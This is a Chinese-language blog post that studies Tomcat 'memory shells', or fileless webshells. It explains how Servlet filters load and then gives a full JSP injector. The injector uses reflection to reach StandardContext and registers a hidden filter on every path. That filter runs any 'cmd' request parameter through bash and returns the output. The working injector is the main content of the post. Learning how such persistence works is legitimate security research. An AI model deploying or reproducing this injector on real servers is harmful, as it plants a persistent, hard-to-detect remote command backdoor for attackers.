内存马学习(1)–Tomcat Filter

发布于 2022-06-22  67 次阅读


理论基础

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。

filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

Filter.doFilter→FilterChain.doFilter→…→Servlet.serivce

Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。

tomcat中有四种容器,engine、host、context、wrapper。

mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。

wrapper的实现通过org.apache.catalina.core.StandardWrapper

context的实现通过org.apache.catalina.core.StandardContext

host的实现通过org.apache.catalina.core.StandHost

engine的实现通过org.apache.catalina.core.

Filter内存马

项目构建

https://blog.csdn.net/gaoqingliang521/article/details/108677301

项目构建可以根据上面的来写,但是在导入tomcat9时,会出现servlet-api.jar不存在的情况,我的办法是将tomcat库直接全部导入。

import javax.servlet.*;
import java.io.IOException;

public class TestJavaServlet implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    @Override
    //触发filter
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {}
}

web.xml注册filter

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="<http://xmlns.jcp.org/xml/ns/javaee>"
         xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
         xsi:schemaLocation="<http://xmlns.jcp.org/xml/ns/javaee> <http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd>"
         version="4.0">

    <filter>
        <filter-name>TestJavaServlet</filter-name>
        <filter-class>filter.TestJavaServlet</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>TestJavaServlet</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>

</web-app>

当访问/filter/demo时,触发断点

原理:

大多数请求都会通过filter才会到达servlet,如果filter中加入恶意代码,那么,访问servlet时候就可以触发带有恶意代码的filter。

而filter主要都是在standardcontext(的变量)中的vivla,一个vivla对应一个serlvet。

standardcontext会保留到tomcat生命周期结束,导致内存马驻留。

filterDefs存放了filter的定义,比如名称跟对应的类,就是web.xml中的对应信息

Filterchain类用于依次调用链上的filter。

在进入构造注入之前,需要了解一下filter的加载流程(很像PE导出导入呢):

  1. 根据请求的URL从FilterMaps中找出与URL对应的filter名称
  2. 通过filter名称去FilterConfigs中找到对应名称的FilterConfig
  3. 找到FilterConfig后添加到FilterChain中
  4. filterchain中调用InternalDoFilter遍历获取chain的filterconfig,根据filterconfig找到filter的dofilter

如果要实现恶意filter调用:

首先创建恶意filter类,使用filterDef对filter进行封装,然后将filterDef添加到filterDefs和FIlterConfig里面,创建FilterMap存放到FilterMaps中去,将恶意的filter存放到filterchain的最前面。

实现代码:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.logging.LogRecord" %>

<%@ page language="java"  pageEncoding="UTF-8"%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    final String name = "matoujin";

    //获取standardcontext

    //servletcontext用于客户端共享
    ServletContext servletContext =request.getSession().getServletContext();

    //field用于获得类,standardcontext相当于applicationcontext的一种实现
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    // catalina包括connecter和container,
    // StandardContext就是一个Container,它主要负责对进入的用户请求进行处理
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        //注意这里用的是javax.serlvet的Filter,不是logging的
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException{
            }

            //dofilter中存放恶意执行
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash", "-c", req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes, 0, len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {
            }
        };

        //创建自定义的filterdef(filterdef封装filter:存放filter的定义)
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());

        //将filterdef添加到filterdefs中
        standardContext.addFilterDef(filterDef);

        //创建filtermap
        FilterMap filterMap = new FilterMap();
        //表示在所有路径下都触发
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //filtermap添加到filtermaps中第一个位置,addfiltermapbefore体现在最前端插入
        standardContext.addFilterMapBefore(filterMap);

        //利用反射创建filterconfig,将filterdef和standardcontext传入
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

间桐桜のお菓子屋さん